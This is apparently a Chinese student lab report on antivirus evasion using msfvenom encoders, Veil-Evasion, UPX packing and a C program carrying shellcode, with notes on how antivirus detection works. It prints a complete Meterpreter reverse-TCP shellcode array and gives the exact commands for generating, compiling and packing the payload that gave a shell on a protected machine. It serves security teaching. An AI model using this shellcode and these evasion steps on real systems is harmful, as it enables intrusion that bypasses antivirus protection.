1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件。
veil,加壳工具
使用C + shellcode编程
1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件。
7次编码,生成exe文件:
将文件放入virustotal网站测试:
生成PHP文件:
将文件放入virustotal网站测试:
生成java文件:
将文件放入virustotal网站测试:
2)使用veil-evasion:
安装veil,输入use evasion
list可以查看不同的payload:
使用use powershell/meterpreter/rev_tcp.py命令进入配置界面,设置IP地址和端口号,IP地址为kali的IP,端口号选择7777:
输入generate命令生成文件,命名为20192407bat.bat,将文件放入virustotal网站测试:
接下来可分别用use c/meterpreter/rev_tcp.py指令和use python/meterpreter/rev_tcp.py指令生成exe文件和python文件,并将文件放入virustotal网站测试:
3)使用C + shellcode编程,注入Shellcode并执行
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.130 LPORT=4444 -f c命令c生成一段shellcode:
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x68\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
建立20192407c.c文件,将shellcode粘贴,并用代码使其调用:
使用i686-w64-mingw32-g++ 20192407c.c -o 20192407firstexe.exe指令将C语言文件转换成exe文件:
将文件放入virustotal网站测试:
4)加壳
upx 20192407firstexe.exe -o 20192407secexe.exe来将刚生成的exe文件加上压缩壳
** (2)通过组合应用各种技术实现恶意代码免杀**
将20192407secexe.exe传到windows上,运行并在kali上运行实验二的exploit监听,即可获得windows的shell:
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
首先将虚拟机变为桥接模式以联通其他主机,随后生成raw文件:
将raw传到目标主机并运行,随后在kali上对其进行监听,获得目标shell:
其安全软件使用电脑管家:
3.问题及解决方案
- 问题1:虚拟机下载veil时出现问题
- 问题1解决方案:使用同学电脑完成剩余部分
- 问题2:加壳应用仍然会被杀毒软件发现
- 问题2解决方案:强制信任该应用
- 问题3:对实验二不熟练,监听经常失败
- 问题3解决方案:重新复习实验二的监听并多次修改出现的错误
回答问题:
(1)杀软是如何检测出恶意代码的?
根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。
(2)免杀是做什么?
免除计算机杀毒软件的查杀。比如通过一些手段来瞒过或跳过杀毒软件的检测扫描
(3)免杀的基本方法有哪些?
加花指令:加入一些无用的指令来迷惑杀毒软件,让杀毒软件检测不到特征码
加壳:给含有恶意代码的程序加一个外包装,让杀毒软件不知道里面装的是什么。
修改特征码:在不影响程序功能的情况下,修改杀毒软件检测的特征码,从而瞒过杀软的检测。
4.学习感悟、思考等
本次实验的内容结合了上次实验的监听,虽然大体意思较为易懂,但操作起来实属麻烦。通过本次实验,我学会了杀毒软件杀毒的原理以及恶意代码有何种手段来避开杀毒软件的检测即免杀。在实验的过程中也亲眼见到了计算机如何在有杀毒软件的情况下依然被恶意代码攻破,对以后自身计算机的防御也有了新一步的认知。